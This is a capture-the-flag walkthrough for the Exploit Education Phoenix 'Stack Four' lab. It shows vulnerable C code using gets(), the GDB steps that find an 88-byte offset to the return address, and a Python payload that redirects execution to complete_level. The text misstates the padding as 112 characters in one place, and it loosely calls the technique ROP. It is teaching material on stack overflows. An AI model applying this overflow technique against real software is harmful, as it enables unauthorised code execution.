Skip to main content

Exploit Education Phoenix : Stack Four

·859 words·5 mins
Exploit Development Reverse Engineering Exploit Education
Exploit Education Phoenix - This article is part of a series.
Part 5: This Article
Before you look at the solution to the challenges, I invite you to try it for yourself. You can find all the challenges here.

Overview of the challenge #

The aim of the Phoenix challenges is to analyse the source code of an executable in order to find and exploit a vulnerability. This first series of challenges concerns the stack.

The first thing to do is to analyse the executable’s source code. Looking for a vulnerability to exploit.

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

void start_level() {
  char buffer[64];
  void *ret;

  gets(buffer);

  ret = __builtin_return_address(0);
  printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

Firstly, we notice that unlike the other challenges, this time it no longer has a structure. However, we still find the complete_level function that we need to call to finish the challenge. The aim of this challenge is to introduce us to the stack overflow technique: return-oriented programming (ROP). This method will allow us to call the complete_level function.

The next thing we notice is the use of the gets function. When we look at the documentation for the function using the command: man gets, it explains how the function works. The gets function retrieves a string of characters from the standard input (stdin), each character is written to a buffer until the function detects an EOF or a line feed. Finally, when one of these characters is detected, it is replaced by a \0 to end the string.

The documentation provides us with new information: this function should no longer be used, as it is sensitive to buffer overflow attacks. The function does not know how many characters it will write to the buffer and cannot be used to limit the number of characters copied. If the number of input characters is greater than the size of the buffer, the gets function will continue to write to the next memory location.

Now that we’ve identified the sensitive parts of the source code, all we have to do is abuse the vulnerability to succeed in the challenge.

Exploiting the vulnerability #

To succeed in this challenge, we need to exploit a buffer overflow vulnerability. This will allow us to change the value of the return address, allowing us to call the complete_level function. To exploit the ROP we need several parameters that we’ll use when exploiting the buffer overflow:

  • Address of the complete_level function
  • Address of the memory location containing the return address
  • Address of buffer vulnerable to buffer overflow

Using the buffer address and the memory location containing the return address, we can calculate an offset that will tell us how big our malicious character string should be. Next, we add the address of the complete_level function to our string of characters in order to rewrite the value of the return address.

To find all these parameters, we’ll use GDB.

Retrieving the address of the complete_level() function #

To find the address of the complete_level function, we will, as in the previous challenge, disassemble the complete_level function and find the address of the first instruction in the function.

$ gdb stack-four
$ disass complete_level

complete_level Analysis
Analysis of the complete_level function.

Now we know the address of the complete_level function: 0x000000000040061D.

Offset calculation #

To find the address of the buffer, it is possible to fill the buffer and inspect the stack to find the address. To inspect the stack at the right time, we can place a breakpoint just after the gets function is called in the start_level function.

$ gdb stack-four
$ disass start_level
$ b *0x400649
$ run < <(python -c "print 'A'*64")
$ x/100x $rsp

Breakpoint Hit
Breakpoint hit to see the stack.

Stack Analysis
Analysis of the stack

Thanks to the stack inspection, we now know the buffer address: 0x7FFFFFFFE5F0. In the stack we can also find the address containing the return address. To do this, we disassemble the main function, which calls the start_level function. Then we retrieve the address of the instruction just after the start_level function is called, since this is the address to which the CPU will return after the ret instruction in the start_level function.

$ gdb stack-four
$ disass main

Disassembly main
Disassembly of the main function

Stack Analysis
Analysis of the stack

We now know that the address of the memory location containing the return address is: 0x7FFFFFFFE648, since the instruction address is 0x000000000040068D and we find this value in the stack.

We can now calculate the offset between the start of the buffer and the location of the return address: 0x7FFFFFFFE648 - 0x7FFFFFFFE5F0 = 0x58 = 88.

Constructing the malicious string #

We now have all we need to exploit the vulnerability. We can create our malicious string by filling our buffer with 112 'A' and then adding the address of the complete_level function.

To make it easier to create the string, we can use Python.

python -c "print 'A'*88 + '\x1D\x06\x40'" | ./stack-four

Exploit Result
Result of exploiting the vulnerability.

Finally, we can see that the return address has been modified, so we can complete the challenge by calling the complete_level function.



Exploit Education Phoenix - This article is part of a series.
Part 5: This Article